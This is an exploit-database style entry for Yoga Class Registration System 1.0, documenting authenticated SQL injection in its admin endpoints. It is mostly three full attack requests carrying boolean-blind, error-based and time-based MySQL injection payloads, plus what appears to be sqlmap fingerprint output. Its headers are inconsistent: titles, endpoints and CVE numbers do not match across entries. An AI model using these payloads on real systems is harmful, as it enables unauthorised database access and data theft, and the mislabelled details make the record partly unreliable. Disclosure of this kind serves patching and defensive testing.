Yoga Class Registration System 1.0 SQL Injection

# Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System# Google Dork: NA# Date: 23/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html# Software Link: [download link if available]# Version: 1.0# CVE: [CVE-2023-0982]# Tested on: Windows 11# PayloadGET /php-ycrs/admin/registrations/update_status.php?id=2'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjU HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/110.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestConnection: closeReferer:http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhgSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin##Payload'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjUthe back-end DBMS is MySQLweb application technology: PHP 8.0.25, Apache 2.4.54back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)# Exploit Title: Authenticated POST based SQL Injection when delete user on Yoga Class Registration System# Google Dork: NA# Date: 23/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html# Software Link: [download link if available]# Version: 1.0# CVE: ( CVE-2023-0981 )# Tested on: Windows 11```POST /php-ycrs/classes/Master.php?f=delete_class HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/110.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 6Origin: http://localhostConnection: closeReferer: http://localhost/php-ycrs/admin/?page=classesCookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhgSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originid=96'```# PayloadParameter: id (POST)    Type: boolean-based blind    Title: AND boolean-based blind - WHERE or HAVING clause (subquery -comment)    Payload: id=96' AND 2307=(SELECT (CASE WHEN (2307=2307) THEN 2307 ELSE(SELECT 8487 UNION SELECT 3172) END))-- -    Type: error-based    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUPBY clause (FLOOR)    Payload: id=96' AND (SELECT 4409 FROM(SELECTCOUNT(*),CONCAT(0x7162707671,(SELECT(ELT(4409=4409,1))),0x71716b6b71,FLOOR(RAND(0)*2))x FROMINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- NiQL    Type: time-based blind    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)    Payload: id=96' AND (SELECT 9070 FROM (SELECT(SLEEP(5)))jayu)-- wkzQ# Exploit Title: Authenticated POST based SQL Injection when add class on Yoga Class Registration System# Google Dork: NA# Date: 23/2/2023# Exploit Author: Ahmed Ismail (@MrOz1l)# Vendor Homepage: https://www.sourcecodester.com/php/16097/yoga-class-registration-system-php-and-mysql-free-source-code.html# Software Link: [download link if available]# Version: 1.0# CVE: ( CVE-2023-0982 )# Tested on: Windows 11##PayloadPOST /php-ycrs/classes/Master.php?f=save_registration HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)Gecko/20100101 Firefox/110.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Type: multipart/form-data;boundary=---------------------------408548517113152447833471217322Content-Length: 286Origin: http://localhostConnection: closeReferer:http://localhost/php-ycrs/admin/?page=registrations/view_registration&id=2Cookie: PHPSESSID=tcc4d9ffr86hm2dqlfmos7amhgSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-origin-----------------------------408548517113152447833471217322Content-Disposition: form-data; name="id"2'-----------------------------408548517113152447833471217322Content-Disposition: form-data; name="status"1-----------------------------408548517113152447833471217322--##Payload'+AND+(SELECT+7828+FROM+(SELECT(SLEEP(3)))Mvkn)--+yLjUthe back-end DBMS is MySQLweb application technology: PHP 8.0.25, Apache 2.4.54back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)